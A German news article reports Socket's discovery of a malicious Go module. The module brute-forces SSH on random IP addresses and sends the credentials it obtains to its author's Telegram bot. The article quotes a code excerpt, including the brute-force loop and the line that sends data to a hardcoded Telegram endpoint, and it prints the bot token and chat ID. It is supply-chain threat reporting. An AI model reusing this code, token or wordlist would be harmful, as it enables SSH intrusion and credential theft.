Ein von der Sicherheitsfirma Socket entdecktes Go-Modul führt zufällige Angriffe auf SSH-Ports durch, meldet einen Erfolg aber nicht nur dem aktuellen Nutzer, sondern auch dem Autor des Tools per Telegram. Weil die Telegram-API HTTPS verwendet, täuscht sie Sicherheitssysteme, da es sich beim Bot-Traffic um gewöhnliche Web-Requests handelt.

Das schädliche Go-Modul nennt sich golang-random-ip-ssh-bruteforce und lässt sich auf einen Cyberangreifer zurückverfolgen, der auf GitHub und im Go-Module-Ökosystem unter dem Namen IllDieAnyway zu finden ist. Seine GitHub-Seite hostete neben dem Go-Schädling weitere Tools wie einen Port-Scanner und einen Brute Forcer für das Datenbankwerkzeug phpMyAdmin – ebenfalls mit Backdoor. Mittlerweile sind die Webseiten von IllDieAnyway auf GitHub und Go-Module nicht mehr verfügbar.

golang-random-ip-ssh-bruteforce generiert kontinuierlich zufällige IPv4-Adressen und scannt damit parallel TCP-Port 22 auf ungeschützte SSH-Dienste. Dabei nutzt es HostKeyCallback: ssh.InsecureIgnoreHostKey(), um serverseitige Identitätschecks zu umgehen. Bei einem Treffer versucht der Schädling, eine Authentifizierung mit einer einfachen, lokalen Benutzername-Passwort-Liste durchzuführen. Nach einer erfolgreichen Anmeldung übermittelt golang-random-ip-ssh-bruteforce die IP-Adresse des Rechners und die Zugangsdaten an einen im Quellcode hartkodierten Telegram-Bot und meldet dem Nutzer den Erfolg. Anschließend beendet es sich selbst, um gegenüber dem Angriffspunkt möglichst verdeckt zu bleiben.

Socket hat einen Ausschnitt des Codes veröffentlicht und kommentiert:

// Probe the host on TCP 22. If the port is reachable, launch brute forcing. func IsOpened(host string) { target := fmt.Sprintf("%s:%d", host, 22) conn, err := net.DialTimeout("tcp", target, 2*time.Second) if err == nil && conn != nil { conn.Close() go brute(host) } } // Configure SSH to skip host key verification, then attempt user:pass. sshConfig := &ssh.ClientConfig{ User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, Timeout: time.Duration(timeout) * time.Second, HostKeyCallback: ssh.InsecureIgnoreHostKey(), // Skip server verification. } client, err := ssh.Dial("tcp", addr, sshConfig) // On first success, send stolen credentials to the threat actor's Telegram. data := addr + ":" + user + ":" + pass + "</code>" http.Get("https://api[.]telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884&parse_mode=HTML&text=<code>" + data) close(succ) // Signal success and exit.

Nach erfolgreicher Übermittlung der abgegriffenen Daten antwortet die Telegram-API mit "ok": true für eine gültige message_id für den Chat 1159678884. Der hartcodierte Austrittspunkt lautet:

https://api.telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884

Laut Socket.dev ist das Bot-Token 5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY derzeit noch live. Telegram identifiziert den Bot als ssh_bot mit dem Usernamen @sshZXC_bot. Der Ziel-Chat 1159678884 ist ein privater Chat mit @io_ping (alias Gett). Sind Bot-Token und Chat aktiv, sendet der Go-Schädling die Daten jedes ersten erfolgreich durchgeführten Logins im Format ip:user:pass via @sshZXC_bot an @io_ping.

Telegram Client Telegram Client

Der Telegram-Bot in Aktion: Der Go-Schädling ist aktiv (links), rechts die Account-Informationen des Bedrohungsakteurs.

(Bild: Socket.dev)

Das schädliche Go-Modul enthält eine kurze, statische Wortliste und bekommt weder Updates noch Zugangsdaten über das Netzwerk, sodass es bis zum ersten Treffer im Stillen läuft. Die Wortliste kombiniert lediglich zwei Usernamen – root und admin – mit schwachen und Standardpasswörtern, zum Beispiel toor, raspberry, dietpi, alpine, password, qwerty, numerische Sequenzen und Rollenbegriffe wie webadmin, webmaster, maintenance, techsupport, marketing oder uploader.

Liste User und Passwörter Liste User und Passwörter

Das schädliche Go-Modul enthält eine SSH-Brute-Force-Wortliste, welche die Usernamen root und admin mit schwachen Passwörtern kombiniert.

(Bild: Socket.dev)

Socket warnt prinzipiell vor Supply-Chain-Attacken beim Einsatz von Modulen im eigenen Code. Anwenderinnen und Anwender sollten diese immer genau untersuchen, beispielsweise auf hartkodierte Gegenstellen im Netz – oft bei Telegram.

(Diese E-Mail-Adresse ist vor Spambots geschützt! Zur Anzeige muss JavaScript eingeschaltet sein.)

Dieser Link ist leider nicht mehr gültig. Links zu verschenkten Artikeln werden ungültig, wenn diese älter als 7 Tage sind oder zu oft aufgerufen wurden. Sie benötigen ein heise+ Paket, um diesen Artikel zu lesen. Jetzt eine Woche unverbindlich testen – ohne Verpflichtung! Wochenpass bestellen

Sie haben heise+ bereits abonniert? Hier anmelden.

Oder benötigen Sie mehr Informationen zum heise+ Abo

Original Link
(Ursprünglich geschrieben von Heise)